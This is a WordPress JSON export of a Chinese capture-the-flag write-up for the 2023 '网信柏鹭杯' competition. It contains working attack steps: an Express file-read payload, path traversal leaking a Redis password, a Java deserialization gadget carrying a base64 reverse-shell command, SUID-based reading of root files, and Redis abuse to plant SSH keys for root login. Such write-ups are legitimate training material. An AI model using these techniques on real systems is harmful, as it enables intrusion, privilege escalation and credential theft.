{"id":2830,"date":"2023-10-12T23:17:07","date_gmt":"2023-10-12T15:17:07","guid":{"rendered":"https:\/\/fushuling.com\/?p=2830"},"modified":"2023-10-17T17:43:10","modified_gmt":"2023-10-17T09:43:10","slug":"2023%e7%bd%91%e4%bf%a1%e6%9f%8f%e9%b9%ad%e6%9d%af%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e7%a9%ba%e9%97%b4%e5%ae%89%e5%85%a8%e7%b2%be%e8%8b%b1%e8%b5%9b","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/10\/12\/2023%e7%bd%91%e4%bf%a1%e6%9f%8f%e9%b9%ad%e6%9d%af%e5%a4%a7%e5%ad%a6%e7%94%9f%e7%bd%91%e7%bb%9c%e7%a9%ba%e9%97%b4%e5%ae%89%e5%85%a8%e7%b2%be%e8%8b%b1%e8%b5%9b\/","title":{"rendered":"2023\u201c\u7f51\u4fe1\u67cf\u9e6d\u676f\u201d\u5927\u5b66\u751f\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u7cbe\u82f1\u8d5b"},"content":{"rendered":"\n

\u4ee5NotEnoughEffort\u7684\u540d\u4e49\u6253\u7684\uff0c\u53ea\u6253\u4e8614\u540d\uff0c\u559c\u63d0\u4f18\u79c0\u5956<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

Web<\/h1>\n\n\n\n

express fs<\/h2>\n\n\n\n

\u539f\u9898 https:\/\/cloud.tencent.com\/developer\/article\/2123023<\/a><\/p>\n\n\n\n

http://8.130.95.87:12180\/?\nfile[href]=a&file[origin]=a&file[protocol]=file:&file[hostname]=&file[pathname]=\/server\/f1%2561g.txt<\/code><\/pre>\n\n\n\n
\u7efc\u54085<\/h2>\n\n\n\n
\u6709\u4e00\u4e2areadfile\u529f\u80fd\uff0c\u8bfbcmdline\u53d1\u73b0\u4e00\u4e2a\/app\/demo.jar\uff0c\u8bfb\u51fa\u6765\uff0c\u91cc\u9762\u6709flag\u4e0d\u8fc7\u6df7\u6dc6\u8fc7\u4e86\uff0c\u89e3\u4e00\u4e0b\u5373\u53ef(\u73b0\u5728\u7684\u6bd4\u8d5b\u611f\u89c9\u7ecf\u5e38\u51fa\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u5206\u4eab\u4e00\u4e0b\u6211\u7684fuzz\u5b57\u5178\uff1ahttps:\/\/fushuling.com\/fuzz.txt)<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
import base64\n\n\ndef decrypt(encrypted_text, key):\n    decoded_bytes = base64.b64decode(encrypted_text)\n    decrypted_text = []\n\n    for i in range(len(decoded_bytes)):\n        encrypted_char = decoded_bytes[i]\n        key_char = key[i % len(key)]\n        decrypted_char = chr(encrypted_char ^ ord(key_char))\n        decrypted_text.append(decrypted_char)\n\n    return ''.join(decrypted_text)\n\n\n# \u4f7f\u7528\u793a\u4f8b\nencrypted_text = \"UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==\"  # \u7528\u52a0\u5bc6\u51fd\u6570\u5f97\u5230\u7684\u52a0\u5bc6\u540e\u7684\u6587\u672c\nkey = \"6925cc02789c1d2552b71acc4a2d48fd\"  # \u7528\u4e8e\u52a0\u5bc6\u7684\u5bc6\u94a5\uff0c\u5e94\u4e0e\u52a0\u5bc6\u65f6\u4f7f\u7528\u7684\u5bc6\u94a5\u76f8\u540c\n\ndecrypted_text = decrypt(encrypted_text, key)\nprint(decrypted_text)\n<\/code><\/pre>\n\n\n\n
\u7efc\u54086<\/h2>\n\n\n\n
\u5229\u7528demo.jar\u91cc\u7684ping\u8fdb\u884crce<\/p>\n\n\n\n
package com.example.demo;\n\nimport com.sun.org.apache.xml.internal.security.utils.Base64;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\n\npublic class Main {\n    public static void main(String[] args) throws IOException {\n        Ping ping = new Ping();\n        ping.setCommand(\"\/bin\/bash\");\n        ping.setArg1(\"-c\");\n        ping.setArg2(\"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHh4IDA+JjE=}|{base64,-d}|{bash,-i}\");\n\n        ByteArrayOutputStream bao = new ByteArrayOutputStream();\n        new ObjectOutputStream(bao).writeObject(ping);\n        System.out.println(Base64.encode(bao.toByteArray()).replaceAll(\"\\n\",\"\"));\n    }\n\n}<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u4e0a\u53bb\u4e4b\u540e\u6ca1\u627e\u5230flag\uff0c\u53ef\u80fd\u9700\u8981\u63d0\u6743\uff0csuid\u627e\u5230dig\u547d\u4ee4\uff0c\u8bfb\u4e00\u4e0bflag<\/p>\n\n\n\n
find \/ -user root -perm -4000 -print 2> result.txt\ndig -f \/root\/flag2<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5206\u4eab\u4e00\u4e2a\u770bsuid\u547d\u4ee4\u7684\u7f51\u7ad9\uff1ahttps:\/\/gtfobins.github.io\/ \u4e00\u641c\u5c31\u6709\u7528\u6cd5<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7efc\u54087<\/h2>\n\n\n\n
\u8fd9\u4e2a\u9898\u5f39shell\u4e0a\u53bb\u4e4b\u540e\u53d1\u73b0\u5565\u547d\u4ee4\u90fd\u6ca1\u6709\uff0c\u60f3\u4f20\u6587\u4ef6\u5efa\u4ee3\u7406\u90fd\u6ca1\u6cd5\uff0c\u8bd5\u4e86\u633a\u591a\u65b9\u6cd5\u90fd\u6ca1\u6210\u529f\uff0c\u6bd4\u5982\u81ea\u5b9a\u4e49\u51fd\u6570\u5565\u7684\uff0c\u6700\u540e\u53d1\u73b0\u7b2c\u4e00\u9898\u5c31\u6709\u4e2a\u4e0a\u4f20\u6587\u4ef6\u529f\u80fd\uff0c\u53ea\u662f\u9650\u5236\u4e8610mb\u4e4b\u5185\uff0c\u592a\u96be\u7ef7\u4e86\uff0c\u540e\u9762\u5f00\u4e2a\u6587\u7ae0\u603b\u7ed3\u4e00\u4e0b\u540e\u6e17\u900f\u600e\u4e48\u4f20\u6587\u4ef6<\/p>\n\n\n\n
\u8bfb\u6587\u4ef6\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u5185\u7f51\u7684redis\u5bc6\u7801\uff0c\u4e00\u773c\u5199\u516c\u94a5<\/p>\n\n\n\n
\/readfile?filename=..\/..\/..\/..\/..\/..\/..\/usr\/local\/share\/application.properties<\/code><\/pre>\n\n\n\n
server.port=18080\nserver.servlet.context-path=\/\nmanagement.endpoints.web.exposure.include=heapdump\nspring.redis.host=172.25.0.10\nspring.redis.port=62341\nspring.redis.password=de17cb1cfa1a8e8011f027b416775c6a\nspring.servlet.multipart.max-file-size=10MB<\/code><\/pre>\n\n\n\n
ssh-keygen -t rsa\n(echo -e \"\\n\\n\";cat ~\/.ssh\/id_rsa.pub;echo -e \"\\n\\n\") >spaced_key.txt\ncat spaced_key.txt |proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set ssh_key\nproxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set ssh_key\nconfig set dir \/root\/.ssh\nconfig get dir\nconfig set dbfilename authorized_keys\nsave<\/code><\/pre>\n\n\n\n
proxychains ssh -i ~\/.ssh\/id_rsa root@172.25.0.10<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
MISC<\/h1>\n\n\n\n
\u9664\u4e86\u7b7e\u5230\u6211\u8bb0\u5f97\u57fa\u672c\u4e0a\u90fd\u662f\u96f6\u89e3\uff0c\u4e0a\u4e09\u9053\u5b89\u5353\u9006\u5411\u5230misc\u53ef\u8fd8\u884c<\/p>\n\n\n\n
\u7b7e\u5230<\/h2>\n\n\n\n
\u7a7a\u683c\u6570\u91cf\u5f53\u4f5cascii\u7801\u5373\u53ef<\/p>\n\n\n\n
def count_spaces_per_line(file_path):\n    flag=\"\"\n    with open(file_path, 'r') as file:\n        lines = file.readlines()\n        for line_num, line in enumerate(lines, start=1):\n            space_count = line.count(' ')\n            flag=flag+chr(int(space_count))\n            print(f\"\u7b2c{line_num}\u884c\u7a7a\u683c\u6570\u91cf\uff1a{space_count}\")\n    print(flag)\n\nfile_path = 'qd.txt' \ncount_spaces_per_line(file_path)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u4ee5NotEnoughEffort\u7684\u540d\u4e49\u6253\u7684\uff0c\u53ea\u6253\u4e8614\u540d\uff0c\u559c\u63d0\u4f18\u79c0\u5956 Web express fs \u539f\u9898 ht […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-2830","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=2830"}],"version-history":[{"count":3,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2830\/revisions"}],"predecessor-version":[{"id":2873,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2830\/revisions\/2873"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=2830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=2830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=2830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}